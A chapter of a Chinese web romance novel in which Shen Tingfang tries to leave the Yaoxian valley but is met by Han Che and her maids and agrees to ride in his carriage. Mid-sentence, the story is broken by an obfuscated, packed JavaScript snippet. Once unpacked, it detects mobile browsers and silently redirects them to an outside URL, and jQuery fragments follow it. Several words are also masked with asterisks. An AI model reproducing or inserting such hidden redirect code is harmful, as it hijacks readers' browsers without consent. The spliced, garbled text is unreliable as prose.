赵承钧苦笑。
正如沈庭芳所言,他还有理想抱负。
倘若为了沈庭芳,丢下满腔的抱负,他总觉得心有不甘。
“你走吧,等我收复蜀地,你若是想通了,可以随时回来找我,我会在庆云城的赵府为你留一幢小院子。”
沈庭芳撇撇嘴,很干脆地拒绝了赵承钧。
“多谢赵大人的好意,不过我想,我这辈子都用不着。”
她抱紧包袱,转身冲着密林深处而去。
小狼还以为是去撒欢,欢快地跑在最前头。
没有了赵承钧这个跟屁虫,沈庭芳不知道有多高兴,走起路来轻快许多,甚至还哼起了小调儿。
不知不觉,已经是正午时分。
她好像即将走出药仙谷。
所幸这一路上没碰见人,她走得倒还顺利。
小狼饿了,沈庭芳自己也累得不得了,就招呼着小狼坐下,从包袱里拿出几块干粮,掰给小狼吃一口。
小狼闻了闻,忽然丢下她,朝着药仙谷的出口跑过去。
任凭沈庭芳怎么叫都不回头。
气得沈庭芳暗骂了一声小畜生。
她把点心收起来,提着包袱,跌跌撞撞地去追小狼。
脚踝上的铁索缠了两道,虽然不会拖地,但也迈不动步子。
一旦步子迈得大了,就得摔一跤。
沈庭芳越发气恼。
小狼一向很听话的,今儿个不知道发了什么疯,居然不肯吃点心,还丢下她跑了。
等她追上小狼,看她怎么惩罚这个小畜生。
好在没几步就跑出了药仙谷。
药仙谷外便是平整的大道,眼前豁然开朗。
小狼坐在一个男人的面前,正仰着头,双眼放光。
那男人手上拿了一块肉,逗着小狼,让小狼做出各种动作。
小狼肯听话,他才会给小狼肉吃。
一向凶巴巴的小狼,在男人面前乖顺无比。
沈庭芳顿住脚,提起包袱就往药仙谷去。
“姑娘,你要去哪儿呀?”
地锦连翘两个丫头从大车上跳下来,嘻嘻笑着追上沈庭芳,一左一右地扶住了沈庭芳的胳膊。
“姑娘别走了,韩将军是来接姑娘回宁海城的,姑娘,咱们回家吧。”
沈庭芳低垂着双眸,眼泪的泪水不停翻涌着。
“你们……你们怎么知道我要从这条路走?”
地锦“噗嗤”一声笑了出来。
“姑娘难道不知道这药仙谷只有一条路可以出入么?韩将军说,无论姑娘从哪条小路离开竹林小筑,最终都要从这个口离开药仙谷。”
“我们只要等在这里,就一定能把姑娘等到,果真,这不就把姑娘等来了?”
连翘很自然地接过沈庭芳胳膊上的包袱。
“姑娘就别跟韩将军赌气了,这兵荒马乱的,姑娘一个人在外头不安全,韩将军还得让照喜大人跟着姑娘,何苦呢?”
说着话,韩彻已经笑嘻嘻地凑了上来。
“庭芳,”他手里拿着一块肉,不停地逗弄小狼,“小狼喜欢吃肉,你给它吃干巴巴的点心,它怎么会高兴?你是不是也饿了?车上准备了好些热乎乎的饭菜,快上车吃一顿。”
“咱们趁着天亮的时候赶路,到傍晚时分,就能出这座城,早些离开,也好早些躲开战乱。”
沈庭芳一言不发,委屈得鼻子都发酸。
她可真傻。
她应该早一点离开药仙谷,为何非要拖到今日呢?
如果能早一点走的话,就不会落到韩彻这个老谋深算的人手中。
跟韩彻对上,她不可能有任何胜算。
可她不愿意跟韩彻走。
“韩彻,你放手吧!”
沈庭芳红着眼圈,泪眼婆娑地盯着韩彻。
“我……我怕连累你……”
“我不怕,你有什么好连累我的?你怕人家说你的闲话?”
韩彻冷笑。
“世人敢说你的闲话,那就是瞧不上我韩彻,等有朝一日,我登上大宝之位,还有谁敢说你的闲话!”
他的眼睛里燃烧着熊熊烈火,写满了志在必得的野心。
“庭芳,跟我走,我好不容易才能与你长相厮守,你若是就这么不辞而别,把我抛下,我会死的。”
韩彻拍了拍自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250139|196597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己的胸口。
“我这里,会空掉,没有心的人会死的,庭芳,你是想看着我死吗?”
一阵风穿过沈庭芳的胸膛,疼得沈庭芳忍不住弯下腰。
她当然不想让韩彻死。
只要一想到韩彻会在战场上受伤,甚至于出个意外没了,沈庭芳就觉得心痛得喘不上气。
“韩彻,你就不能说几句吉利话吗?为什么非要咒你自己?”
韩彻吊儿郎当地笑了笑。
“你都要离开我了,我跟**没什么两样,说不说吉利话,又有什么用?”
他好像一个桀骜不驯的小孩,沈庭芳越不让他做什么,他就越要做什么。
“反正我要是**,那都是你的错。”
沈庭芳听不得这死呀活呀的。
她板着脸,冷声斥责韩彻。
“不许胡说!你会活得好好的,长长久久地活着。”
韩彻的眼睛就亮了:“庭芳,你的意思是,你肯跟我走了?”
沈庭芳瞪了他一眼,转身上了马车。
回身撩起车帘子,冲着韩彻硬邦邦地道:“我答应上你的马车,只是不想看着你死,但我们有言在先,我是不会嫁给你的,你就**这条心吧。”
韩彻打了个呼哨,哈哈大笑了几声,便骑上枣红马,往前奔去。
车队也就缓缓起程。
地锦和连翘趴在车窗上,拦着枣红马一骑绝尘,往前头探路,两个丫头就凑在一起低声议论。
“韩将军一点都不像韩将军了,从前的韩将军总板着一张脸,看着怪吓人的,可只要到了咱们姑娘跟前,韩将军就好似多了许多话,脸上也有了许多笑容。”
地锦掐了连翘一把。
“你是不是傻?韩将军为什么忽然喜欢笑了,你还不知道么?”
她冲着沈庭芳努努嘴。
“韩将军也只有在咱们姑娘跟前,才爱说爱笑呢。”
两个丫头挤眉弄眼地笑了。
沈庭芳就哭笑不得。
“韩彻到底给了你们俩什么好处,叫你们俩帮着他说话?难不成,你们跟小狼一样,吃了他几块肉,这心就偏向他那一边去了?”